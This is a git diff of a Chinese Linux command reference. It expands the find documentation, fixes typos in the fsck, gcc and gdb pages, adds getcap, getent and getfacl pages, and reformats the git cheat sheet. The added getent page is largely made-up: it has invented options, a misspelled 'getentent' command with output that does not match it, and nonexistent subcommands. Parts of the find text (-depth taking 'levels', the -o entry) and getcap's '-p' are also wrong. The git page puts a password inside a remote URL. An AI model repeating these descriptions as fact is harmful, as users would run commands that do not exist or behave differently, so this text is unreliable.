+如果返回状态为 0,则结果为真。**注意**:find 命令会将**所有后续参数**视为`command`的参数,直到遇到包含`;`的参数为止。字符串`{}`会在`command`的参数中所有出现的位置被替换为当前正在处理的文件名,而不仅仅是在它单独出现的参数中,这与某些版本的 find 不同。这两种结构可能需要使用反斜杠`\`或引号来转义,以防止被 shell 扩展。指定的命令会为每个匹配的文件运行一次。命令在起始目录中执行。
+
+#### -execdir 在包含匹配文件的子目录中执行命令
+
+##### 参数
+`command ;` | `command {} +`
+
+##### 描述
+类似于`-exec`,但指定的`command`会在包含匹配文件的**子目录中运行**,而非find的起始点目录。与`-exec`一样,如果从shell调用find,`{}`应加引号。这是一种更安全的调用`command`方式,因为它避免了在解析匹配文件路径时出现的竞争条件。与`-exec`操作类似,`+`形式的`-execdir`会构建一个命令行来处理多个匹配文件,但任何给定的`command`调用只会列出存在于同一子目录中的文件。如果使用此选项,必须确保 PATH 环境变量未引用`.`,否则攻击者可以通过在您将运行`-execdir`的目录中留下一个适当命名的文件来运行任何命令。同样,PATH 中的条目**不应为空**或**非绝对目录名**。如果使用`+`形式的任何调用以非零值作为退出状态返回,则 find 也会返回非零退出状态。如果 find 遇到错误,有时会导致立即退出,**因此某些待处理的command可能根本不会运行**。 操作结果取决于使用的是`+`还是`;`变体。`-execdir command {} + `总是返回真,而 `-execdir command {} ;`仅在命令返回 0 时返回真。
+
+#### -fls 创建文件并将结果写入文件
+
+##### 参数
+`file`
+
+##### 描述
+此选项始终返回真。`-fls`类似于`-ls`和`-fprint`,但`-fls`会将结果写入文件中。无论谓词是否匹配,输出文件始终会被创建。有关文件名中特殊字符处理的信息,请参阅“特殊文件名处理”部分。
+
+#### -fprint 将完整文件名打印到指定文件中
+
+##### 参数
+`file`
+
+##### 描述
+此选项始终返回真。若运行 find 时`file`不存在,则创建该`file`;若`file`已存在,则截断其内容。文件名`/dev/stdout`和`/dev/stderr`有特殊处理,分别指向标准输出和标准错误输出。即使谓词从未匹配,输出文件也会始终创建。
+
+#### -fprint0
+
+##### 参数
+`file`
+
+##### 描述
+此选项始终返回真。类似于`-print0`,但将输出写入文件;类似于`-fprint`。即使谓词从未匹配,输出文件也始终会被创建。
+
+#### -fprintf
+
+##### 参数
+`file`
+
+##### 描述
+此选项始终返回真。类似于`-printf`,但将输出写入文件;类似于`-fprint`,即使谓词从未匹配,输出文件也会始终创建。
+
+#### -ls 列出当前文件并输出到标准输出
+
+##### *无参数*
+
+##### 描述
+此选项始终返回真。以`ls -dils`格式列出当前文件并输出到标准输出。块计数为 1 KB 块,除非设置了环境变量 POSIXLY_CORRECT,此时使用 512 字节块。
+
+#### -ok 执行命令前询问用户
+
+##### 参数
+`command ;`
+
+##### 描述
+类似于`-exec`,但首先会询问用户。如果用户同意,则运行该命令;否则仅返回 false。若运行该命令,其标准输入将被重定向至`/dev/null`。对提示的响应会与一对正则表达式进行匹配,以确定其为肯定或否定回答。若设置POSIXLY_CORRECT 环境变量,则该正则表达式从系统获取;否则,从 find 的消息翻译中获取。如果系统没有合适的定义,将使用 find 自身的定义。无论哪种情况,正则表达式本身的解释都会受到环境变量 LC_CTYPE(字符类)和 LC_COLLATE(字符范围和等价类)的影响。
+
+##### 相关选项
+- **-files0-from**:不能与`-ok`同时指定。
+
+#### -okdir
+
+##### 参数
+`command ;`
+
+##### 描述
+类似于`-execdir`,但在执行前会以与`-ok`相同的方式询问用户。如果用户不同意,则直接返回 false。如果命令被执行,其标准输入将从`/dev/null`重定向。
+
+##### 相关选项
+- **-files0-from**:不能与`-okdir`同时指定。
+
+#### -print 打印完整文件名,后跟一个换行符
+
+##### *无参数*
+
+##### 描述
+此选项始终返回真。如果你将 find 的输出通过管道传输到另一个程序,并且你正在搜索的文件可能包含换行符,那么应该考虑使用`-print0`而不是`-print`。
+
+#### -print0 打印完整文件名,后跟一个空字符
+
+##### *无参数*
+
+##### 描述
+此选项始终返回真。包含换行符或其他类型空白字符的文件名能被正确解析,以便处理 find 输出的程序能正确理解。此选项对应于`xargs`的`-0`选项。
+
+#### -printf 打印格式
+
+##### 参数
+`format`
+
+可用的转义字符和指令包括:
+- \a 警报。
+- \b 退格键。
+- \c 立即停止打印并清空输出。
+- \f 换页。
+- \n 换行。
+- \r 回车符。
+- \t 水平制表符。
+- \v 垂直制表符。
+- \0 空字符。
+- \\\ 一个字面的反斜杠`\`。
+- \NNN 字符,其 ASCII 码为 NNN(八进制)。
+- A 一个反斜杠字符`\`后跟任何其他字符,都会被视为普通字符,因此它们都会被打印出来。
+- %% 一个字面的百分号。
+- %a 文件的最后访问时间,格式为 C 语言 ctime(3)函数返回的样式。
+ .....更多内容待补充
+
+##### 描述
+*暂无*
+
+#### -prune 如果文件是目录,则不进入该目录
+
+##### *无参数*
+
+##### 描述
+此选项始终返回真。
+
+##### 相关选项
+- **-depth**:如果指定了`-depth`,那么`-prune`将无效。
+- **-delete**:因为`-delete`隐含了`-depth`,所以不能有效地同时使用两者。
+
+#### -quit 立即退出
+
+##### *无参数*
+
+##### 描述
+如果没有发生错误,则返回值为零。这与`-prune `不同,因为`-prune`仅适用于被修剪目录的内容,而`-quit`则使 find 立即停止。不会有任何子进程继续运行。在程序退出之前,任何通过`-exec ... +`或`-execdir ... +`构建的命令行都会被调用。执行`-quit`后,命令行中指定的文件将不再被处理。例如,`find /tmp/foo /tmp/bar -print -quit`将仅打印 `/tmp/foo`。`-quit`的一个常见用途是在找到所需内容后停止搜索文件系统。
+
+### 全局选项
+始终返回真值。全局选项对命令行中较早出现的测试也会生效。为避免混淆,全局选项应在命令行上列出**起始点之后、第一个测试选项、位置选项或操作选项之前指定**。若在其他位置指定全局选项,find 会发出警告消息,说明这可能引起混淆。
+
+> 全局选项出现在起始点列表之后,因此与例如`-L` 这样的选项不属于同一类别。
+
+#### -d `-depth`的同义词
+
+##### *无参数*
+
+##### 描述
+仅用于与 FreeBSD、NetBSD、MacOS X 和 OpenBSD 兼容。
+
+#### -depth 遍历级别
+
+##### 参数
+`levels`
+
+##### 描述
+在处理目录本身之前,先处理目录中的内容。`-delete`操作也隐含了`-depth`。
+
+#### -files0-from 从文件中读取起始点,而非通过命令行获取。
+
+##### 参数
+`file`
+
+##### 描述
+
+使用此选项可以安全地给 find 命令传递任意数量的起始点。使用此选项和在命令行中传递起始点**是互斥的**,因此不允许同时进行。文件参数是强制性的。文件中的起始点必须用 ASCII NUL 字符分隔。两个连续的 NUL 字符,即带有零长度文件名的起始点是不允许的,这将导致错误诊断,并随后产生非零退出码。
+
+与标准调用不同,在标准调用中,如果没有传递路径参数,find 会默认将当前目录作为起始点。起始点的处理方式与其他情况相同,例如,find 命令会递归进入子目录,除非另有阻止。若要仅处理起始点,可以额外传递`-maxdepth 0`参数。
+
+**其他说明**:如果一个文件在输入文件中被列出多次,则其是否会被多次访问未作规定。如果在查找操作期间文件被修改,结果同样未作规定。最后,find 退出时(无论是通过`-quit`还是其他方式),命名文件中的查找位置也未作规定。此处**未作规定**意味着它**可能有效也可能无效**,**或者不做任何特定的事情**,并且该行为可能因平台或 findutils 版本而异。
+
+> :bulb:可以使用`-files0-from`**从标准输入流中读取起始点列表**,例如从管道中读取。在这种情况下,不允许使用`-ok`和`-okdir`操作,因为它们会干扰从标准输入读取以获取用户确认。
+
+> :warning:警告:如果给定文件为空,find 不会处理任何起始点,因此在解析完程序参数后会立即退出。
+
+#### -help 和 --help 打印 find 命令行用法的摘要并退出。
+
+##### *无参数*
+
+##### 描述
+*无描述*
+
+#### -ignore_readdir_race
+
+##### *无参数*
+
+##### 描述
+通常情况下,当 find 无法对文件进行状态检查(stat)时,会发出错误消息。如果您**启用此选项**,并且在 find 从目录读取文件名,到尝试进行状态检查**之间的时间内文件被删除**,则不会发出任何错误消息。这也适用于命令行中指定的文件或目录。此选项在命令行读取时生效,这意味着您不能在文件系统的某部分启用此选项,而在另一部分禁用它(如果需要这样做,您需要发出两个 find 命令,一个启用选项,一个不启用)。此外,使用`-ignore_readdir_race`选项时,如果在读取父目录后文件已消失,find 命令将忽略`-delete`操作的错误:它不会输出错误诊断信息,并且`-delete`操作的返回码将为真。
+
+#### -maxdepth 最大遍历级别
+
+##### 参数
+`levels`
+
+##### 描述
+最多向下遍历 levels 级(一个非负整数)目录层级。使用`-maxdepth 0`表示**仅对起始点本身**应用测试和操作。
+
+#### -mindepth 最小遍历级别
+
+##### 参数
+`levels`
+
+##### 描述
+在小于指定级别(非负整数)的层级上不执行任何测试或操作。使用`-mindepth 1`表示处理**除起始点外的所有文件**。
+
+#### -mount 不在其他文件系统中下降目录
+
+##### *无参数*
+
+##### 描述
+这是`-xdev`的替代名称,用于与其他一些版本的 find 兼容。
+
+#### -noignore_readdir_race
+
+##### *无参数*
+
+##### 描述
+关闭了`-ignore_readdir_race`的效果。
+
+#### -noleaf 不进行优化。
+
+##### *无参数*
+
+##### 描述
+不通过假设目录包含比其硬链接数少 2 个子目录来进行优化。在搜索不遵循 Unix 目录链接惯例的文件系统时,需要此选项,例如 CD-ROM、MS-DOS 文件系统或 AFS 卷挂载点。在正常的 Unix 文件系统上,每个目录至少有 2 个硬链接:其名称及其`.`条目。此外,其子目录(如果有)各自有一个指向该目录的`..`条目。当 find 检查一个目录时,在它已经统计了比目录链接数少 2 个子目录之后,它知道该目录中的其余条目是非目录(目录树中的“叶”文件)。如果只需要检查文件的名称,则无需对其进行状态检查;这可以显著提高搜索速度。
+
+#### -version 和 --version 打印 find 的版本号并退出。
+
+##### *无参数*
+
+##### 描述
+*无描述*
+
+#### -xdev 不进入其他文件系统的目录。
+
+##### *无参数*
+
+##### 描述
+*无描述*
+
+### 位置选项
+始终返回真值。它们仅影响命令行中后续的测试。
+
+#### -daystart 从今天开始
+
+> 用于 `-amin`、`-atime`、`-cmin`、`-ctime`、`-mmin` 和 `-mtime`
+
+##### *无参数*
+
+##### 描述
+从今天开始而非从 24 小时前开始。此选项仅影响命令行中后续出现的测试。
+
+#### ~~-follow~~ 解引用符号链接。
+
+##### *无参数*
+
+##### 描述
+**已弃用,请改用`-L`选项**。隐含`-noleaf`。`-follow`选项仅影响命令行中出现在其后的那些测试。除非已指定`-H`或`-L`选项,否则`-follow`选项的位置会改变`-newer`谓词的行为;作为`-newer`参数列出的任何文件,如果它们是符号链接,则会被解引用。同样的情况适用于`-newerXY`、`-anewer`和`-cnewer`。类似地,`-type `谓词将始终匹配符号链接所指向的文件类型,而非链接本身。使用`-follow`会导致 `-lname`和`-ilname`谓词始终返回 false。
+
+#### -regextype 更改正则表达式语法
+
+##### 参数
+`type`
+
+##### 描述
+更改`-regex`和`-iregex`测试在命令行后续部分所理解的正则表达式语法。要查看已知的正则表达式类型,请使用`-regextype help`。Texinfo 文档解释了各种正则表达式类型的含义及其差异。如果您不使用此选项,find 的行为如同已指定正则表达式类型为`emacs`。
+
+#### -warn 和 -nowarn 开启或关闭警告消息。
+
+##### *无参数*
+
+##### 描述
+这些警告仅适用于命令行使用,不适用于 find 在搜索目录时可能遇到的情况。默认行为是:如果标准输入是`tty`,则对应`-warn`;否则对应`-nowarn`。如果产生与命令行使用相关的警告消息,find 的退出状态不受影响。如果设置了 POSIXLY_CORRECT 环境变量,并且也使用了`-warn`,则未指定哪些(如果有)警告会被激活。
+
+### 运算符选项
+运算符按优先级递减顺序列出:
+- `(expr)` 强制优先级。由于括号对 shell 有特殊含义,通常需要对它们进行引用。许多示例为此使用了反斜杠:`\(...\)` 而非 `(...)`。
+- `! expr` 若表达式为假则结果为真(取反)。此字符通常也需要防止被 shell 解释。
+
+> :bulb:提示:当`-a`隐式指定(例如两个测试之间没有显式运算符)或显式指定时,其优先级高于`-o`。例如,`find . -name foo -o -name bar -print`永远不会打印`foo`。
+
+#### -not
+
+##### 参数
+`expr`
+
+##### 描述
+等同于`! expr`,但不符合 POSIX 标准。
+
+#### -a
+
+##### 参数
+`expr1` -a `expr2`
+
+##### 描述
+两个连续的表达式被视为隐含地用`-a`连接;如果`expr1`为假,则不评估`expr2`。等同于`expr1 expr2`。
+
+#### -and
+
+##### 参数
+`expr1` -and `expr2`
+
+##### 描述
+与`-a`相同。但不符合 POSIX 标准。
+
+#### -o
+
+##### 参数
+`expr1` -o `expr2`
+
+##### 描述
+`expr1`和`expr2`始终都会被评估。`expr1`的值会被丢弃;列表的值即为`expr2`的值。逗号运算符(`,`)在搜索多种不同类型的事物时非常有用,但只会遍历文件系统层次结构一次。`-fprintf`动作可用于将各种匹配项列出到多个不同的输出文件中。若`expr1`为真,则不评估`expr2`。
+#### -or
+
+##### 参数
+`expr1` -or `expr2`
-起始目录:查找文件的起始目录。
+##### 描述
+与`-o`相同。但不符合 POSIX 标准。
-### 实例
+## 例子
+当前目录搜索所有文件,且文件内容包含 “140.206.111.111”
```shell
-# 当前目录搜索所有文件,文件内容 包含 “140.206.111.111” 的内容
find . -type f -name "*" | xargs grep "140.206.111.111"
```
diff --git a/command/free.md b/command/free.md
index 7559c114305..11e927b395b 100644
--- a/command/free.md
+++ b/command/free.md
@@ -24,6 +24,7 @@ free(选项)
-s<间隔秒数> # 持续观察内存使用状况;
-t # 显示内存总和列;
-V # 显示版本信息。
+-h, --human # 自动缩放到最短三位单位的并打印输出
```
### 实例
diff --git a/command/fsck.md b/command/fsck.md
index 8b86d1d57ed..5dc84ecf665 100644
--- a/command/fsck.md
+++ b/command/fsck.md
@@ -1,11 +1,11 @@
fsck
===
-检查并且试图修复文件系统中的错误
+fsck(英文全拼:file system check)命令检查并且试图修复文件系统中的错误
## 补充说明
-**fsck命令** 被用于检查并且试图修复文件系统中的错误。当文件系统发生错误四化,可用fsck指令尝试加以修复。
+**fsck命令** 被用于检查并且试图修复文件系统中的错误。当文件系统发生错误,可用fsck指令尝试加以修复。
### 语法
diff --git a/command/gcc.md b/command/gcc.md
index 80b0862f0e2..fac6b762c62 100644
--- a/command/gcc.md
+++ b/command/gcc.md
@@ -110,7 +110,7 @@ gcc testfun.c test.c -o test
```shell
gcc -c testfun.c #将testfun.c编译成testfun.o
gcc -c test.c #将test.c编译成test.o
-gcc -o testfun.o test.o -o test #将testfun.o和test.o链接成test
+gcc testfun.o test.o -o test #将testfun.o和test.o链接成test
```
以上两种方法相比较,第一中方法编译时需要所有文件重新编译,而第二种方法可以只重新编译修改的文件,未修改的文件不用重新编译。
diff --git a/command/gdb.md b/command/gdb.md
index b69f2599205..d72ec9f01d6 100644
--- a/command/gdb.md
+++ b/command/gdb.md
@@ -290,7 +290,7 @@ Breakpoint 4, main () at gdb-sample.c:17
1: x/i $pc 0x804835c : movl $0x1,0xfffffffc(%ebp)
```
-此时可以使用“i r”命令显示寄存器中的当前值———“i r”即“Infomation Register”:
+此时可以使用“i r”命令显示寄存器中的当前值———“i r”即“Information Register”:
```shell
(gdb) i r
diff --git a/command/getcap.md b/command/getcap.md
new file mode 100644
index 00000000000..1f57f464b57
--- /dev/null
+++ b/command/getcap.md
@@ -0,0 +1,49 @@
+getcap
+===
+
+显示文件的能力(capabilities)
+
+## 补充说明
+
+**getcap命令** 用于查看文件的能力(capabilities)。在 Linux 中,文件的能力是一种权限控制机制,可以赋予普通文件特定的特权操作,而无需完全的 root 权限。
+
+### 语法
+
+```shell
+getcap [选项] [文件名...]
+```
+
+### 选项
+
+```shell
+-v # 显示详细信息,通常与其他选项一起使用。
+-p # 显示进程的能力。
+```
+
+### 参数
+
+文件名:指定要查看能力的文件路径。
+
+### 实例
+
+查看一个可执行文件的能力:
+
+```shell
+$ getcap /usr/bin/ping
+/usr/bin/ping = cap_net_raw+ep
+```
+
+查看当前目录下所有文件的能力:
+
+```shell
+$ getcap *
+/usr/bin/ping = cap_net_raw+ep
+```
+
+如果文件没有设置任何能力,getcap 不会返回任何输出。
+
+查看进程的能力(以 PID 为例):
+
+```shell
+$ getcap -p 1234
+```
\ No newline at end of file
diff --git a/command/getent.md b/command/getent.md
new file mode 100644
index 00000000000..1a21dbbaee8
--- /dev/null
+++ b/command/getent.md
@@ -0,0 +1,69 @@
+getent
+===
+
+查询 DNS 名称服务器中的命名空间
+
+## 语法
+
+```shell
+getent [选项] 主机名或域名
+```
+
+## 选项
+
+```shell
+-h # 显示帮助信息
+-n # 不解析 DNS 名称
+-p # 打印解析过程
+-s # 只输出有关已知主机的信息
+-t # 指定 DNS 查询类型 (默认为 NXDOMAIN)
+-U # 使用顶级域名服务器
+-V # 显示版本信息
+-O # 以其他模式解析命名空间
+```
+
+主机名或域名可以是通配符 (例如 *.example.com) 或单个主机名。如果指定了 -h 选项,则显示帮助信息。如果指定了 -n 选项,则不再解析 DNS 名称。如果指定了 -p 选项,则打印解析过程。如果指定了 -s 选项,则只输出有关已知主机的信息。如果指定了 -t 选项,则指定 DNS 查询类型 (默认为 NXDOMAIN)。如果指定了 -U 选项,则使用顶级域名服务器。如果指定了 -V 选项,则显示版本信息。如果指定了 -O 选项,则解析命名空间以其他模式。
+
+## 实例
+
+1. 查看所有已知账户:
+
+```shell
+getent passwd
+```
+
+这将列出所有已知账户的密码文件,例如 `/etc/passwd` 或 `/run/user/1000/gshadow`。
+
+2. 查看指定账户的信息:
+
+```shell
+getent passwd someuser
+```
+
+这将只列出指定用户的信息,例如用户名、密码、uid、gid 等。
+
+3. 查看指定域名的 DNS 记录:
+
+```shell
+getent host example.com
+```
+
+这将列出 example.com 域名的 DNS 记录,包括主机名、IP 地址和其他相关信息。
+
+4. 查看指定 IP 地址的 TCP 连接信息:
+
+```shell
+getentent ips8.ipaddress.com 80
+```
+
+这将列出 IP 地址为 192.168.0.100 的 TCP 连接信息,例如连接的服务器地址、端口号和连接状态。
+
+5. 查看指定主机的已知端口:
+
+```shell
+getent port somehost.example.com
+```
+
+这将列出指定主机的已知端口,例如端口号、协议和主机名。
+
+这些只是 `getent` 命令的一些例子,它还有许多其他用法和选项,可以根据需要进行调整。
\ No newline at end of file
diff --git a/command/getfacl.md b/command/getfacl.md
new file mode 100644
index 00000000000..fbfb5271ee9
--- /dev/null
+++ b/command/getfacl.md
@@ -0,0 +1,49 @@
+getfacl
+===
+
+获取文件访问控制列表(access control lists)
+
+## 补充说明
+
+对于每个文件,`getfacl`都会显示文件名、所有者、组和访问控制列表 (ACL)。如果目录有默认ACL,`getfacl` 也会显示默认ACL。非目录不能有默认ACL。
+如果在不支持 ACL 的文件系统上使用`getfacl`,`getfacl`会显示由传统文件模式权限位定义的访问权限。请参考`setfacl`。
+
+### 选项
+
+```shell
+-a, --access # 显示文件访问控制列表。
+-d, --default # 显示默认访问控制列表。
+-c, --omit-header # 不显示注释头(每个文件输出的前三行)。
+-e, --all-effective # 打印所有有效权限注释,即使与 ACL 条目定义的权限相同。
+-E, --no-effective # 不打印有效权限注释。
+-s, --skip-base # 跳过只有基本 ACL 条目(所有者、组、其他)的文件。
+-R, --recursive # 递归列出所有文件和目录的 ACL。
+-L, --logical # 逻辑路径,跟踪目录的符号链接。默认行为是跟踪符号链接参数,跳过子目录中遇到的符号链接。仅与 -R 结合使用时有效。
+-P, --physical # 物理路径,不跟踪指向目录的符号链接。这也会跳过符号链接参数。 仅与 -R 结合使用时有效。
+-t, --tabular # 使用另一种表格输出格式。同时显示 ACL 和默认 ACL。因 ACL 屏蔽条目而无效的权限会以大写。ACL_USER_OBJ 和 ACL_GROUP_OBJ 条目的条目标签名称也以大写字母显示,这有助于识别这些条目。
+-p, --absolute-names # 不删除前导斜线字符 (`/')。默认行为是去掉前导斜线字符。
+-n, --numeric # 列出数字用户和组 ID。
+-v, --version # 打印 getfacl 的版本并退出。
+-h, --help # 打印命令行选项的帮助说明。
+-- # 命令行选项结束。所有剩余参数都被解释为文件名,即使它们以破折号字符开头。
+- # 如果文件名参数是单破折号字符,getfacl 将从标准输入读取文件列表。
+```
+
+### 实例
+
+getfacl 命令默认显示文件访问控制列表。打开终端,并输入以下命令:
+
+```shell
+getfacl tmp
+
+# file: tmp
+# owner: zdx
+# group: zdx
+# flags: -s-
+user::rwx
+group::rwx
+other::r-x
+default:user::rwx
+default:group::rwx
+default:other::r-x
+```
diff --git a/command/git.md b/command/git.md
index 044daacdadf..7295ee20e29 100644
--- a/command/git.md
+++ b/command/git.md
@@ -27,17 +27,13 @@ Git迅速成为最流行的分布式版本控制系统,尤其是2008年,GitH
[Git常用命令清单](https://github.com/jaywcjlove/handbook/blob/master/other/Git%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E6%B8%85%E5%8D%95.md)
-### 语法
+### 语法
```shell
-git [--version] [--help] [-C ] [-c name=value]
- [--exec-path[=]] [--html-path] [--man-path] [--info-path]
- [-p | --paginate | --no-pager] [--no-replace-objects] [--bare]
- [--git-dir=] [--work-tree=] [--namespace=]
- []
+git [--version] [--help] [-C ] [-c name=value] [--exec-path[=]] [--html-path] [--man-path] [--info-path] [-p | --paginate | --no-pager] [--no-replace-objects] [--bare] [--git-dir=] [--work-tree=] [--namespace=] []
```
-### 选项
+### 选项
```shell
add 将文件内容添加到索引
@@ -67,50 +63,62 @@ tag 创建,列出,删除或验证使用GPG签名的标签对象
init
-`git init` #初始化
+```shell
+git init # 初始化
+```
status
-`git status` #获取状态
+```shell
+git status # 获取状态
+```
add
-`git add file` # .或*代表全部添加
-`git rm --cached ` # 在commit之前撤销git add操作
-`git reset head` # 好像比上面`git rm --cached`更方便
+```shell
+git add file # .或*代表全部添加
+git rm --cached # 在commit之前撤销git add操作
+git reset head # 好像比上面`git rm --cached`更方便
+```
commit
-`git commit -m "message"` #此处注意乱码
+```shell
+git commit -m "message" # 此处注意乱码
+```
remote
-`git remote add origin git@github.com:JSLite/test.git` #添加源
+```shell
+git remote add origin git@github.com:JSLite/test.git # 添加源
+```
push
```shell
-git push -u origin master # push同事设置默认跟踪分支
+git push -u origin master # push 同时设置默认跟踪分支
git push origin master
git push -f origin master # 强制推送文件,缩写 -f(全写--force)
```
clone
-`git clone git://github.com/JSLite/JSLite.js.git `
-`git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹
-`git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。
+```shell
+git clone git://github.com/JSLite/JSLite.js.git
+git clone git://github.com/JSLite/JSLite.js.git mypro # 克隆到自定义文件夹
+git clone [user@]example.com:path/to/repo.git/ # SSH协议还有另一种写法。
+```
git clone支持多种协议,除了HTTP(s)以外,还支持SSH、Git、本地文件协议等,下面是一些例子。`git clone <版本库的网址> <本地目录名>`
```shell
-$ git clone http[s]://example.com/path/to/repo.git/
-$ git clone ssh://example.com/path/to/repo.git/
-$ git clone git://example.com/path/to/repo.git/
-$ git clone /opt/git/project.git
-$ git clone file:///opt/git/project.git
-$ git clone ftp[s]://example.com/path/to/repo.git/
-$ git clone rsync://example.com/path/to/repo.git/
+git clone http[s]://example.com/path/to/repo.git/
+git clone ssh://example.com/path/to/repo.git/
+git clone git://example.com/path/to/repo.git/
+git clone /opt/git/project.git
+git clone file:///opt/git/project.git
+git clone ftp[s]://example.com/path/to/repo.git/
+git clone rsync://example.com/path/to/repo.git/
```
## 配置
@@ -128,7 +136,7 @@ git config --list # 查看配置的信息
### 配置自动换行
-自动转换坑太大,提交到git是自动将换行符转换为lf
+自动转换坑太大,提交到git是自动将换行符转换为lf
```shell
git config --global core.autocrlf input
@@ -155,12 +163,14 @@ ssh -T git@github.com # 测试是否成功
**2.密钥复制到托管平台上**
-`vim ~/.ssh/jslite_rsa.pub`
-打开公钥文件 `jslite_rsa.pub` ,并把内容复制至代码托管平台上
+`vim ~/.ssh/jslite_rsa.pub`
+打开公钥文件 `jslite_rsa.pub` ,并把内容复制至代码托管平台上
**3.修改config文件**
-`vim ~/.ssh/config` #修改config文件,如果没有创建 `config`
+```shell
+vim ~/.ssh/config # 修改config文件,如果没有创建 `config`
+```
```shell
Host jslite.github.com
@@ -214,8 +224,8 @@ ssh-add -d ~/.ssh/jslite_rsa # 删除指定的key
### 免密码登录远程服务器
```shell
-$ ssh-keygen -t rsa -P '' -f ~/.ssh/aliyunserver.key
-$ ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要输入密码一次
+ssh-keygen -t rsa -P '' -f ~/.ssh/aliyunserver.key
+ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要输入密码一次
```
编辑 `~/.ssh/config`
@@ -240,19 +250,19 @@ git clone https://github.com/username/rep.git
```shell
[core]
- repositoryformatversion = 0
- filemode = true
- bare = false
- logallrefupdates = true
- ignorecase = true
- precomposeunicode = true
+ repositoryformatversion = 0
+ filemode = true
+ bare = false
+ logallrefupdates = true
+ ignorecase = true
+ precomposeunicode = true
[remote "origin"]
-- url = https://github.com/username/rep.git
-+ url = https://用户名:密码@github.com/username/rep.git
- fetch = +refs/heads/*:refs/remotes/origin/*
+- url = https://github.com/username/rep.git
++ url = https://用户名:密码@github.com/username/rep.git
+ fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
- remote = origin
- merge = refs/heads/master
+ remote = origin
+ merge = refs/heads/master
```
### 文件推向3个git库
@@ -273,7 +283,9 @@ usage: git remote set-url [--push] []
or: git remote set-url --delete
```
-`git remote set-url --delete origin https://oschina.net/wang/JSLite.js.git`
+```shell
+git remote set-url --delete origin https://oschina.net/wang/JSLite.js.git
+```
**3.推送代码**
@@ -310,8 +322,7 @@ $ git fetch -p
**5.更改pull**
-只需要更改config文件里,那三个url的顺序即可,fetch-url会直接对应排行第一的那个utl连接。
-
+只需要更改config文件里,那三个url的顺序即可,fetch-url会直接对应排行第一的那个utl连接。
### 修改远程仓库地址
@@ -375,7 +386,6 @@ git revert HEAD~1 # 撤销一条记录 会弹出 commit 编辑
git push # 提交回滚
```
-
### 回退到某一个版本
```shell
@@ -469,8 +479,6 @@ git rebase --continue
git push -f origin master
```
-
-
### 添加忽略文件
```shell
@@ -540,7 +548,6 @@ git merge upstream/master
# create mode 100644 README.md
```
-
### 批量修改历史commit中的名字和邮箱
**1.克隆仓库**
@@ -608,7 +615,6 @@ git pull --allow-unrelated-histories
git pull origin master --allow-unrelated-histories
```
-
### 查看某个文件历史
```shell
@@ -644,25 +650,35 @@ git config --global core.quotepath false
### init
-`git init` #初始化
+```shell
+git init # 初始化
+```
### status
-`git status` #获取状态
+```shell
+git status # 获取状态
+```
### add
-`git add file` # .或*代表全部添加
-`git rm --cached ` # 在commit之前撤销git add操作
-`git reset head` # 好像比上面`git rm --cached`更方便
+```shell
+git add file # .或*代表全部添加
+git rm --cached # 在commit之前撤销git add操作
+git reset head # 好像比上面`git rm --cached`更方便
+```
### commit
-`git commit -m "message"` #此处注意乱码
+```shell
+git commit -m "message" # 此处注意乱码
+```
### remote
-`git remote add origin git@github.com:JSLite/test.git` #添加源
+```shell
+git remote add origin git@github.com:JSLite/test.git # 添加源
+```
### push
@@ -674,20 +690,22 @@ git push -f origin master # 强制推送文件,缩写 -f(全写--force)
## clone
-`git clone git://github.com/JSLite/JSLite.js.git `
-`git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹
-`git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。
+```shell
+git clone git://github.com/JSLite/JSLite.js.git
+git clone git://github.com/JSLite/JSLite.js.git mypro # 克隆到自定义文件夹
+git clone [user@]example.com:path/to/repo.git/ # SSH协议还有另一种写法。
+```
git clone支持多种协议,除了HTTP(s)以外,还支持SSH、Git、本地文件协议等,下面是一些例子。`git clone <版本库的网址> <本地目录名>`
```shell
-$ git clone http[s]://example.com/path/to/repo.git/
-$ git clone ssh://example.com/path/to/repo.git/
-$ git clone git://example.com/path/to/repo.git/
-$ git clone /opt/git/project.git
-$ git clone file:///opt/git/project.git
-$ git clone ftp[s]://example.com/path/to/repo.git/
-$ git clone rsync://example.com/path/to/repo.git/
+git clone http[s]://example.com/path/to/repo.git/
+git clone ssh://example.com/path/to/repo.git/
+git clone git://example.com/path/to/repo.git/
+git clone /opt/git/project.git
+git clone file:///opt/git/project.git
+git clone ftp[s]://example.com/path/to/repo.git/
+git clone rsync://example.com/path/to/repo.git/
```
## 本地
@@ -827,7 +845,9 @@ git push -u origin branchName # 提交分支到远程origin主机中
### 拉取
-`git fetch -p` #拉取远程分支时,自动清理 远程分支已删除,本地还存在的对应同名分支。
+```shell
+git fetch -p # 拉取远程分支时,自动清理 远程分支已删除,本地还存在的对应同名分支。
+```
### 分支合并
@@ -840,7 +860,9 @@ git merge test # 将test分支合并到当前分支
### 重命名
-`git branch -m old new` #重命名分支
+```shell
+git branch -m old new # 重命名分支
+```
### 查看
@@ -946,7 +968,7 @@ git remote show origin # 查看指定源的全部信息
```shell
git tag -a v0.1 -m 'my version 1.4' # 新建带注释标签
git push origin --tags # 一次性推送所有分支
-git push origin v1.5 # 推送单个tag到orgin源上
+git push origin v1.5 # 推送单个tag到origin源上
git tag -v v1.4.2.1 # 验证标签,验证已经签署的标签
git show v1.5 # 看到对应的 GPG 签
@@ -964,7 +986,8 @@ git --git-dir='<绝对地址>/.git' describe --tags HEAD # 查看本地版本信
```shell
git config format.pretty oneline #显示历史记录时,每个提交的信息只显示一行
git config color.ui true #彩色的 git 输出
-git log #查看最近的提交日志
+git log #查看提交日志,从最近的提交开始显示
+git log --reverse #查看提交日志,从最远的提交开始显示
git log --pretty=oneline #单行显示提交日志
git log --graph --pretty=oneline --abbrev-commit
git log -num #显示第几条log(倒数)
@@ -1031,7 +1054,6 @@ git help * # 获取命令的帮助信息
git status # 获取当前的状态,非常有用,因为git会提示接下来的能做的操作
```
-
## 报错问题解决
**1. `git fatal: protocol error: bad line length character: No s`**
@@ -1081,7 +1103,7 @@ git config --global core.quotepath false
- [图解Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html)
- [git-简明指南](http://rogerdudler.github.io/git-guide/index.zh.html)
